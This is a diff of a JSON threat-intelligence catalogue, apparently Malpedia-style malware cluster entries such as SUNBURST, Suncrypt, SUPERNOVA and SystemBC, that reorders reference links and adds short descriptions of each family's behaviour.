"https://www.bleepingcomputer.com/news/security/autodesk-reveals-it-was-targeted-by-russian-solarwinds-hackers/", - "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", - "https://threatconnect.com/blog/tracking-sunburst-related-activity-with-threatconnect-dashboards", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/how-a-device-to-cloud-architecture-defends-against-the-solarwinds-supply-chain-compromise/", "https://twitter.com/FireEye/status/1339295983583244302", + "https://www.youtube.com/watch?v=JoMwrkijTZ8", + "https://us-cert.cisa.gov/ncas/alerts/aa21-077a", + "https://msrc-blog.microsoft.com/2020/12/21/december-21st-2020-solorigate-resource-center/", + "https://blog.prevasio.com/2020/12/sunburst-backdoor-deeper-look-into.html", + "https://community.riskiq.com/article/9a515637", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-sunburst-command-control", + "https://pastebin.com/6EDgCKxd", + "https://www.securonix.com/web/wp-content/uploads/2020/12/threat_research_solarwinds_sunburst_eclipser_supply_chain.pdf", + "https://news.sophos.com/en-us/2020/12/21/how-sunburst-malware-does-defense-evasion/", + "https://drive.google.com/file/d/1R79Q1oC18GmKK8FYBoYEt0vYF7SpsvQI/view", + "https://ics-cert.kaspersky.com/reports/2021/01/26/sunburst-industrial-victims/", + "https://cert.pl/posts/2023/04/kampania-szpiegowska-apt29/", + "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", + "https://www.4hou.com/posts/KzZR", + "https://www.prevasio.io/blog/sunburst-backdoor-part-ii-dga-the-list-of-victims", + "https://r136a1.info/2022/06/18/using-dotnetfile-to-get-a-sunburst-timeline-for-intelligence-gathering/", + "https://www.mfa.gov.lv/en/news/latest-news/67813-latvia-s-statement-following-the-announcement-by-the-united-states-of-actions-to-respond-to-the-russian-federation-s-destabilizing-activities", + "https://github.com/cisagov/CHIRP", + "https://twitter.com/cybercdh/status/1338975171093336067", + "https://www.youtube.com/watch?v=mbGN1xqy1jY", + "https://www.cyborgsecurity.com/blog/sunburst-solarwinds-supply-chain-attack/", + "https://go.recordedfuture.com/hubfs/reports/pov-2020-1230.pdf", + "https://www.fortinet.com/blog/threat-research/what-we-have-learned-so-far-about-the-sunburst-solarwinds-hack", + "https://unit42.paloaltonetworks.com/strategically-aged-domain-detection/", + "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "https://corelight.blog/2020/12/15/finding-sunburst-backdoor-with-zeek-logs-and-corelight/", + "https://fidelissecurity.com/threatgeek/data-protection/ongoing-analysis-solarwinds-impact/", + "https://netresec.com/?b=2113a6a", + "https://netresec.com/?b=212a6ad", + "https://labs.sentinelone.com/solarwinds-sunburst-backdoor-inside-the-stealthy-apt-campaign/", + "https://www.netresec.com/?page=Blog&month=2020-12&post=Extracting-Security-Products-from-SUNBURST-DNS-Beacons", + "https://twitter.com/0xrb/status/1339199268146442241", + "https://notes.netbytesec.com/2021/01/solarwinds-attack-sunbursts-dll.html", + "https://www.youtube.com/watch?v=dV2QTLSecpc", + "https://us-cert.cisa.gov/remediating-apt-compromised-networks", + "https://unit42.paloaltonetworks.com/atoms/solarphoenix/", + "https://www.mandiant.com/resources/unc2452-merged-into-apt29", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://mitre-attack.github.io/attack-navigator/#layerURL=https://raw.githubusercontent.com/center-for-threat-informed-defense/public-resources/master/solorigate/UNC2452.json", + "https://www.mimecast.com/incident-report/", + "https://msrc-blog.microsoft.com/2020/12/31/microsoft-internal-solorigate-investigation-update/", + "https://www.trustedsec.com/blog/solarwinds-backdoor-sunburst-incident-response-playbook/?hss_channel=tw-403811306", + "https://techcommunity.microsoft.com/t5/azure-sentinel/solarwinds-post-compromise-hunting-with-azure-sentinel/ba-p/1995095", + "https://www.fireeye.com/blog/products-and-services/2021/02/light-in-the-dark-hunting-for-sunburst.html", + "https://blog.apiiro.com/detect-and-prevent-the-solarwinds-build-time-code-injection-attack", + "https://vrieshd.medium.com/finding-sunburst-victims-and-targets-by-using-passivedns-osint-68f5704a3cdc", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sunburst-supply-chain-attack-solarwinds", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-sunburst-sending-data", + "https://mp.weixin.qq.com/s/v-ekPFtVNZG1W7vWjcuVug", + "https://www.cadosecurity.com/post/responding-to-solarigate", + "https://www.youtube.com/watch?v=GfbxHy6xnbA", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/additional-analysis-into-the-sunburst-backdoor/", + "https://us-cert.cisa.gov/sites/default/files/publications/SolarWinds_and_AD-M365_Compromise-Detecting_APT_Activity_from_Known_TTPs.pdf", + "https://github.com/SentineLabs/SolarWinds_Countermeasures", + "https://blog.cloudflare.com/a-quirk-in-the-sunburst-dga-algorithm/", + "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/", + "https://www.solarwinds.com/securityadvisory/faq", + "https://blog.talosintelligence.com/2020/12/solarwinds-supplychain-coverage.html#more", + "https://www.aon.com/cyber-solutions/aon_cyber_labs/cloudy-with-a-chance-of-persistent-email-access/", + "https://www.cisa.gov/supply-chain-compromise", + "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "https://mp.weixin.qq.com/s/lh7y_KHUxag_-pcFBC7d0Q", "https://twitter.com/cybercdh/status/1339241246024404994", - "https://thenewstack.io/behind-the-scenes-of-the-sunburst-attack/", + "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", + "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", + "https://www.domaintools.com/content/conceptualizing-a-continuum-of-cyber-threat-attribution.pdf", + "https://github.com/fireeye/Mandiant-Azure-AD-Investigator", + "https://blog.truesec.com/2020/12/17/the-solarwinds-orion-sunburst-supply-chain-attack/", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-039a", + "https://www.mandiant.com/media/10916/download", + "https://www.microsoft.com/security/blog/2021/02/25/microsoft-open-sources-codeql-queries-used-to-hunt-for-solorigate-activity/", + "https://youtu.be/Ta_vatZ24Cs?t=59", + "https://www.ironnet.com/blog/solarwinds/sunburst-behavioral-analytics-and-collective-defense-in-action", "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware", "https://www.picussecurity.com/resource/blog/ttps-used-in-the-solarwinds-breach", - "https://blog.truesec.com/2021/01/07/avoiding-supply-chain-attacks-similar-to-solarwinds-orions-sunburst", - "https://unit42.paloaltonetworks.com/atoms/solarphoenix/", - "https://securelist.com/sunburst-backdoor-kazuar/99981/", - "https://www.domaintools.com/resources/blog/unraveling-network-infrastructure-linked-to-the-solarwinds-hack" + "https://securelist.com/sunburst-connecting-the-dots-in-the-dns-requests/99862/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", + "https://us-cert.cisa.gov/ncas/alerts/aa20-352a", + "https://github.com/github/codeql/tree/main/csharp/ql/src/experimental/Security%20Features/campaign", + "https://www.bleepingcomputer.com/news/security/fireeye-microsoft-create-kill-switch-for-solarwinds-backdoor/", + "https://blog.cloudflare.com/solarwinds-orion-compromise-trend-data/", + "https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline", + "https://www.brighttalk.com/webcast/7451/462719", + "https://techcommunity.microsoft.com/t5/azure-active-directory-identity/azure-ad-workbook-to-help-you-assess-solorigate-risk/ba-p/2010718", + "https://www.brighttalk.com/webcast/7451/469525", + "https://github.com/fireeye/sunburst_countermeasures", + "https://news.sophos.com/en-us/2020/12/14/solarwinds-playbook/", + "https://twitter.com/lordx64/status/1338526166051934213", + "https://www.domaintools.com/resources/blog/unraveling-network-infrastructure-linked-to-the-solarwinds-hack", + "https://youtu.be/SW8kVkwDOrc?t=24706", + "https://www.cyberark.com/resources/threat-research-blog/golden-saml-revisited-the-solorigate-connection", + "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "https://www.fireeye.com/blog/threat-research/2020/12/sunburst-additional-technical-details.html", + "https://www.splunk.com/en_us/blog/security/smoothing-the-bumps-of-onboarding-threat-indicators-into-splunk-enterprise-security.html", + "https://www.accenture.com/us-en/blogs/cyber-defense/threat-intel-takeaways-solarigate", + "https://github.com/sophos-cybersecurity/solarwinds-threathunt", + "https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/", + "https://techcommunity.microsoft.com/t5/azure-active-directory-identity/understanding-quot-solorigate-quot-s-identity-iocs-for-identity/ba-p/2007610", + "https://www.ironnet.com/blog/a-closer-look-at-the-solarwinds/sunburst-malware-dga-or-dns-tunneling", + "https://www.mimecast.com/blog/important-security-update/", + "https://www.zscaler.com/blogs/security-research/hitchhikers-guide-solarwinds-incident-response", + "https://www.comae.com/posts/sunburst-memory-analysis/", + "https://www.bleepingcomputer.com/news/security/mimecast-links-security-breach-to-solarwinds-hackers/", + "https://www.nato.int/cps/en/natolive/official_texts_183168.htm?selectedLocale=en", + "https://www.solarwinds.com/securityadvisory", + "https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html", + "https://blog.gigamon.com/2021/07/27/ghosts-on-the-wire-expanding-conceptions-of-network-anomalies/", + "https://research.checkpoint.com/2021/deep-into-the-sunburst-attack/", + "https://blog.prevasio.com/2020/12/sunburst-backdoor-part-iii-dga-security.html", + "https://threatconnect.com/blog/tracking-sunburst-related-activity-with-threatconnect-dashboards", + "https://www.a12d404.net/ranting/2021/01/17/msbuild-backdoor.html", + "https://www.youtube.com/watch?v=cMauHTV-lJg", + "https://www.bleepingcomputer.com/news/security/nasa-and-the-faa-were-also-breached-by-the-solarwinds-hackers/", + "https://cocomelonc.github.io/malware/2022/09/10/malware-pers-10.html", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-unique-dga", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-134a", + "https://www.domaintools.com/resources/blog/continuous-eruption-further-analysis-of-the-solarwinds-supply-incident", + "https://www.elastic.co/blog/supervised-and-unsupervised-machine-learning-for-dga-detection", + "https://www.youtube.com/watch?v=-Vsgmw2G4Wo", + "https://www.justice.gov/opa/pr/department-justice-statement-solarwinds-update", + "https://www.netresec.com/?page=Blog&month=2020-12&post=Reassembling-Victim-Domain-Fragments-from-SUNBURST-DNS", + "https://blog.prevasio.com/2020/12/sunburst-backdoor-part-ii-dga-list-of.html", + "https://medium.com/insomniacs/a-look-into-sunbursts-dga-ba4029193947", + "https://unit42.paloaltonetworks.com/fireeye-solarstorm-sunburst/" ], "synonyms": [ "Solorigate" @@ -46082,33 +48246,33 @@ "value": "SUNBURST" }, { - "description": "", + "description": "According to PCrisk, Suncrypt ransomware prevents victims from accessing files by encryption. It also renames all encrypted files and creates a ransom message. It renames encrypted files by appending a string of random characters as the new extension.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.suncrypt", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html", + "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", - "https://www.tesorion.nl/en/posts/shining-a-light-on-suncrypts-curious-file-encryption-mechanism/", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer", - "https://medium.com/s2wlab/w4-july-en-story-of-the-week-ransomware-on-the-darkweb-c61965d0386a", + "https://medium.com/s2wlab/case-analysis-of-suncrypt-ransomware-negotiation-and-bitcoin-transaction-43a2194ac0bc", + "https://pcsxcetrasupport3.wordpress.com/2021/03/28/suncrypt-powershell-obfuscation-shellcode-and-more-yara/", "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", - "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://medium.com/s2wlab/w4-july-en-story-of-the-week-ransomware-on-the-darkweb-c61965d0386a", + "https://blog.minerva-labs.com/suncrypt-ransomware-gains-new-abilities-in-2022", + "https://www.tesorion.nl/en/posts/shining-a-light-on-suncrypts-curious-file-encryption-mechanism/", "https://medium.com/@sapphirex00/diving-into-the-sun-suncrypt-a-new-neighbour-in-the-ransomware-mafia-d89010c9df83", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://www.bleepingcomputer.com/news/security/suncrypt-ransomware-is-still-alive-and-kicking-in-2022/", "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", "https://cdn.pathfactory.com/assets/10555/contents/394789/0dd521f8-aa64-4517-834e-bc852e9ab95d.pdf", + "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://www.bleepingcomputer.com/news/security/suncrypt-ransomware-is-still-alive-and-kicking-in-2022/", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", "https://www.intezer.com/blog/malware-analysis/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", - "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", - "https://pcsxcetrasupport3.wordpress.com/2021/03/28/suncrypt-powershell-obfuscation-shellcode-and-more-yara/", - "https://www.bleepingcomputer.com/news/security/suncrypt-ransomware-sheds-light-on-the-maze-ransomware-cartel/", - "https://medium.com/s2wlab/case-analysis-of-suncrypt-ransomware-negotiation-and-bitcoin-transaction-43a2194ac0bc", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html", "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/", - "https://blog.minerva-labs.com/suncrypt-ransomware-gains-new-abilities-in-2022" + "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", + "https://www.bleepingcomputer.com/news/security/suncrypt-ransomware-sheds-light-on-the-maze-ransomware-cartel/" ], "synonyms": [], "type": [] @@ -46121,8 +48285,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sunorcal", - "http://pwc.blogs.com/cyber_security_updates/2016/03/index.html", - "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/", + "http://pwc.blogs.com/cyber_security_updates/2016/03/index.html" ], "synonyms": [], "type": [] @@ -46135,8 +48299,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sunseed", - "https://www.proofpoint.com/us/blog/threat-insight/asylum-ambuscade-state-actor-uses-compromised-private-ukrainian-military-emails", - "https://blogs.blackberry.com/en/2022/03/threat-thursday-sunseed-malware" + "https://blogs.blackberry.com/en/2022/03/threat-thursday-sunseed-malware", + "https://www.proofpoint.com/us/blog/threat-insight/asylum-ambuscade-state-actor-uses-compromised-private-ukrainian-military-emails" ], "synonyms": [], "type": [] @@ -46146,32 +48310,45 @@ }, { "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.superbear", + "https://0x0v1.com/posts/superbear/superbear/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a6ca0a04-359d-4f7a-b556-46b33ec75473", + "value": "SuperBear RAT" + }, + { + "description": "According to CISA, SUPERNOVA is a malicious webshell backdoor that allows a remote operator to dynamically inject C# source code into a web portal to subsequently inject code. APT actors use SUPERNOVA to perform reconnaissance, conduct domain mapping, and steal sensitive information and credentials. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.supernova", "https://www.youtube.com/watch?v=7WX5fCEzTlA", - "https://twitter.com/MalwareRE/status/1342888881373503488", "https://github.com/fireeye/sunburst_countermeasures/pull/5", - "https://www.solarwinds.com/securityadvisory/faq", - "https://github.com/fireeye/sunburst_countermeasures", - "https://www.guidepointsecurity.com/blog/supernova-solarwinds-net-webshell-analysis", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-112a", - "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", - "https://labs.sentinelone.com/solarwinds-understanding-detecting-the-supernova-webshell-trojan/", - "https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a", - "https://unit42.paloaltonetworks.com/solarstorm-supernova", - "https://www.splunk.com/en_us/blog/security/detecting-supernova-malware-solarwinds-continued.html", - "https://www.splunk.com/en_us/blog/security/supernova-redux-with-a-generous-portion-of-masquerading.html", - "https://www.secureworks.com/blog/supernova-web-shell-deployment-linked-to-spiral-threat-group", - "https://us-cert.cisa.gov/ncas/alerts/aa21-008a", - "https://unit42.paloaltonetworks.com/solarstorm-supernova/", - "https://www.trendmicro.com/en_us/research/20/l/overview-of-recent-sunburst-targeted-attacks.html", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://www.sentinelone.com/labs/solarwinds-understanding-detecting-the-supernova-webshell-trojan", + "https://github.com/fireeye/sunburst_countermeasures", + "https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/", + "https://www.secureworks.com/blog/supernova-web-shell-deployment-linked-to-spiral-threat-group", + "https://twitter.com/MalwareRE/status/1342888881373503488", + "https://unit42.paloaltonetworks.com/solarstorm-supernova/", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-112a", + "https://www.splunk.com/en_us/blog/security/detecting-supernova-malware-solarwinds-continued.html", "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", - "https://www.anquanke.com/post/id/226029", - "https://www.solarwinds.com/securityadvisory" + "https://www.solarwinds.com/securityadvisory/faq", + "https://us-cert.cisa.gov/ncas/alerts/aa21-008a", + "https://www.trendmicro.com/en_us/research/20/l/overview-of-recent-sunburst-targeted-attacks.html", + "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "https://www.solarwinds.com/securityadvisory", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a", + "https://www.splunk.com/en_us/blog/security/supernova-redux-with-a-generous-portion-of-masquerading.html", + "https://www.sentinelone.com/labs/solarwinds-understanding-detecting-the-supernova-webshell-trojan", + "https://unit42.paloaltonetworks.com/solarstorm-supernova", + "https://www.guidepointsecurity.com/blog/supernova-solarwinds-net-webshell-analysis", + "https://labs.sentinelone.com/solarwinds-understanding-detecting-the-supernova-webshell-trojan/", + "https://www.anquanke.com/post/id/226029" ], "synonyms": [], "type": [] @@ -46184,11 +48361,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.suppobox", - "https://www.symantec.com/connect/blogs/trojanbayrob-strikes-again-1", "https://www.justice.gov/opa/pr/two-romanian-cybercriminals-convicted-all-21-counts-relating-infecting-over-400000-victim", + "https://blog.avast.com/2013/06/18/your-facebook-connection-is-now-secured/", "https://www.symantec.com/connect/blogs/bayrob-three-suspects-extradited-face-charges-us", + "https://media.blackhat.com/us-13/US-13-Geffner-End-To-End-Analysis-of-a-Domain-Generating-Algorithm-Malware-Family-WP.pdf", "https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Geffner-End-To-End-Analysis-of-a-Domain-Generating-Algorithm-Malware-Family-WP.pdf", - "https://media.blackhat.com/us-13/US-13-Geffner-End-To-End-Analysis-of-a-Domain-Generating-Algorithm-Malware-Family-WP.pdf" + "https://www.symantec.com/connect/blogs/trojanbayrob-strikes-again-1" ], "synonyms": [ "Bayrob", @@ -46200,7 +48378,7 @@ "value": "SuppoBox" }, { - "description": "", + "description": "According to PCrisk, Surtr is ransomware. Malware of this type encrypts files (and renames them) and generates a ransom note. Surtr appends the decryptmydata@mailfence.com email address and the \".SURT\" extension to filenames.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.surtr", @@ -46213,7 +48391,7 @@ "value": "surtr" }, { - "description": "", + "description": "According to PCrisk, SVCReady collects information about the infected system such as username, computer name, time zone, computer manufacturer, BIOS, and firmware. Also, it gathers lists of running processes and installed software. SVCReady sends collected data to the C2 server. Additionally, SVCReady attempts to maintain its foothold on the system by creating a scheduled task.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.svcready", @@ -46240,13 +48418,13 @@ "value": "swen" }, { - "description": "According to ESET, this is a wiper written in Go, that was deployed against an Ukrainian organization on January 25th 2023 through Group Policy, which suggests that the attackers had taken control of the victim’s Active Directory environment.", + "description": "According to ESET, this is a wiper written in Go, that was deployed against an Ukrainian organization on January 25th 2023 through Group Policy, which suggests that the attackers had taken control of the victim\u2019s Active Directory environment.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.swiftslicer", "https://www.welivesecurity.com/2023/01/27/swiftslicer-new-destructive-wiper-malware-ukraine/", - "https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf", - "https://twitter.com/ESETresearch/status/1618960022150729728" + "https://twitter.com/ESETresearch/status/1618960022150729728", + "https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf" ], "synonyms": [ "JaguarBlade" @@ -46274,13 +48452,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sykipot", - "https://www.symantec.com/connect/blogs/sykipot-attacks", - "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", "https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-edison", - "https://www.alienvault.com/blogs/labs-research/sykipot-is-back", + "https://blog.trendmicro.com/trendlabs-security-intelligence/sykipot-now-targeting-us-civil-aviation-sector-information/", "https://community.rsa.com/thread/185437", - "https://blog.trendmicro.com/trendlabs-security-intelligence/sykipot-now-targeting-us-civil-aviation-sector-information/" + "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", + "https://www.alienvault.com/blogs/labs-research/sykipot-is-back", + "https://www.secureworks.com/research/threat-profiles/bronze-edison", + "https://www.symantec.com/connect/blogs/sykipot-attacks" ], "synonyms": [ "Wkysol", @@ -46296,8 +48474,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.synack", - "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/", - "https://therecord.media/synack-ransomware-gang-releases-decryption-keys-for-old-victims/" + "https://therecord.media/synack-ransomware-gang-releases-decryption-keys-for-old-victims/", + "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" ], "synonyms": [], "type": [] @@ -46348,9 +48526,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sys10", - "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf", + "https://securelist.com/analysis/publications/69953/the-naikon-apt/", "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", - "https://securelist.com/analysis/publications/69953/the-naikon-apt/" + "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf" ], "synonyms": [], "type": [] @@ -46364,8 +48542,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.syscon", "http://blog.trendmicro.com/trendlabs-security-intelligence/syscon-backdoor-uses-ftp-as-a-cc-channel/", - "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/", - "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/", + "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/" ], "synonyms": [], "type": [] @@ -46407,12 +48585,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.syskit", - "https://twitter.com/QW5kcmV3/status/1176861114535165952", - "https://www.proofpoint.com/us/blog/threat-insight/i-knew-you-were-trouble-ta456-targets-defense-contractor-alluring-social-media", - "https://www.darkreading.com/threat-intelligence/iranian-government-hackers-target-us-veterans/d/d-id/1335897", - "https://about.fb.com/news/2021/07/taking-action-against-hackers-in-iran/", + "https://blog.talosintelligence.com/2019/09/tortoiseshell-fake-veterans.html", "https://www.symantec.com/blogs/threat-intelligence/tortoiseshell-apt-supply-chain", - "https://blog.talosintelligence.com/2019/09/tortoiseshell-fake-veterans.html" + "https://twitter.com/QW5kcmV3/status/1176861114535165952", + "https://about.fb.com/news/2021/07/taking-action-against-hackers-in-iran/", + "https://www.proofpoint.com/us/blog/threat-insight/i-knew-you-were-trouble-ta456-targets-defense-contractor-alluring-social-media", + "https://www.darkreading.com/threat-intelligence/iranian-government-hackers-target-us-veterans/d/d-id/1335897" ], "synonyms": [ "IvizTech", @@ -46444,8 +48622,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sysrv_hello", - "https://www.lacework.com/blog/sysrv-hello-expands-infrastructure/", - "https://darktrace.com/blog/worm-like-propagation-of-sysrv-hello-crypto-jacking-botnet" + "https://darktrace.com/blog/worm-like-propagation-of-sysrv-hello-crypto-jacking-botnet", + "https://www.lacework.com/blog/sysrv-hello-expands-infrastructure/" ], "synonyms": [], "type": [] @@ -46470,32 +48648,46 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.systembc", - "https://blog.reversinglabs.com/blog/code-reuse-across-packers-and-dll-loaders", - "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html", - "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor", - "https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html", - "https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/", - "https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis", - "https://www.proofpoint.com/us/threat-insight/post/systembc-christmas-july-socks5-malware-and-exploit-kits", - "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", - "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.bitsight.com/blog/emotet-botnet-rises-again", - "https://news.sophos.com/en-us/2020/12/16/systembc/", - "https://community.riskiq.com/article/47766fbd", - "https://www.bitsight.com/blog/systembc-multipurpose-proxy-bot-still-breathes", - "https://www.mandiant.com/resources/chasing-avaddon-ransomware", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2023-CTI-007.pdf", "https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6", - "https://www.kroll.com/en/insights/publications/cyber/black-basta-technical-analysis", - "https://isc.sans.edu/forums/diary/Excel+spreadsheets+push+SystemBC+malware/27060/", - "https://asec.ahnlab.com/en/33600/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", - "https://www.intrinsec.com/proxynotshell-owassrf-merry-xchange/", + "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-batloader", + "https://blogs.vmware.com/security/2023/06/8base-ransomware-a-heavy-hitting-player.html", + "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html", + "https://www.bitsight.com/blog/systembc-multipurpose-proxy-bot-still-breathes", 